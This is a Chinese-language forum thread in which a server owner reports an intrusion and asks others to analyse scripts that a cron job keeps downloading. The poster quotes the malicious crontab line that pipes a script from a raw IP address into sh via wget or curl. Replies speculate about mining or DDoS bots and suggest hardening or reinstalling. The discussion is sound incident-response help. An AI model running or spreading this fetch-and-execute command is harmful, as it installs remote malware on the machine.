V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
rwecho
V2EX  ›  Linux

一个双显卡服务器被入侵了,他会定时从下载脚本并执行

  •  
  •   rwecho · 197 天前 · 3127 次点击
    这是一个创建于 197 天前的主题,其中的信息可能已经有所发展或是发生改变。
    http://185.150.117.29/x/b

    帮忙分析下这些脚本是干什么的?目前看显卡并没有运行,而是定时占用大量带宽。
    15 条回复    2021-07-07 13:57:51 +08:00
    virusdefender
        1
    virusdefender  
       197 天前
    这种一般都是挖矿
    rwecho
        2
    rwecho  
    OP
       197 天前
    15 * * * * wget http://185.150.117.29/x/b -O- | sh || curl http://185.150.117.29/x/b | sh

    它在电脑里面创建了一个用户名为:ps
    然后里面有一个 crontab 命令
    longbow0
        3
    longbow0  
       197 天前
    主要是从 185.150.117.29 下载适配了不同硬件版本的木马 bot.*

    其中,bot.x86 介绍在 https://s.tencent.com/research/report/1101.html
    CaffreySun
        4
    CaffreySun  
       197 天前
    这个脚步比较简单,就是“感染”你的服务器,并且创建定时任务重复“感染”。
    至于他“感染”你的服务做什么,得看他执行的那些“bot”开头的程序了,找大佬反编译分析一下。
    或许用来挖坑。
    或许用来执行网络攻击。
    Aresrun
        6
    Aresrun  
       197 天前
    我之前也被入侵了。服务器上没啥东西,就重装了系统
    lopetver
        7
    lopetver  
       197 天前
    @rwecho 认真的吗

    这只是一个定时下载的任务而已啊,哪里有“它在电脑里面创建了一个用户名为:ps
    然后里面有一个 crontab 命令” 这些操作
    missz
        8
    missz  
       197 天前
    把服务器做为肉鸡,用来 ddos,所以会时不时带宽拉满
    no1xsyzy
        9
    no1xsyzy  
       197 天前
    命令行 HTTP 客户端竟然是 wget 和 curl 而没有 lynx
    我记得哪个 Unix 环境是默认只有 lynx 的来着?
    hlobo
        10
    hlobo  
       197 天前 via iPhone
    攻击它下载脚本的服务器
    changchong
        11
    changchong  
       197 天前
    修改端口怎么样
    yogogo
        12
    yogogo  
       196 天前
    前几天我一台也是给挂挖矿的,后来就关端口,开 selinux,就好了
    rwecho
        13
    rwecho  
    OP
       196 天前 via Android
    已经把下载的脚本清空了,目前没看到有异常情况,之前 root 密码太弱了
    lanshee
        14
    lanshee  
       196 天前
    @rwecho #23 清空是治标不治本的.
    guanyin8cnq12
        15
    guanyin8cnq12  
       196 天前
    一个字,格
    关于   ·   帮助文档   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   1533 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 17:36 · PVG 01:36 · LAX 09:36 · JFK 12:36
    ♥ Do have faith in what you're doing.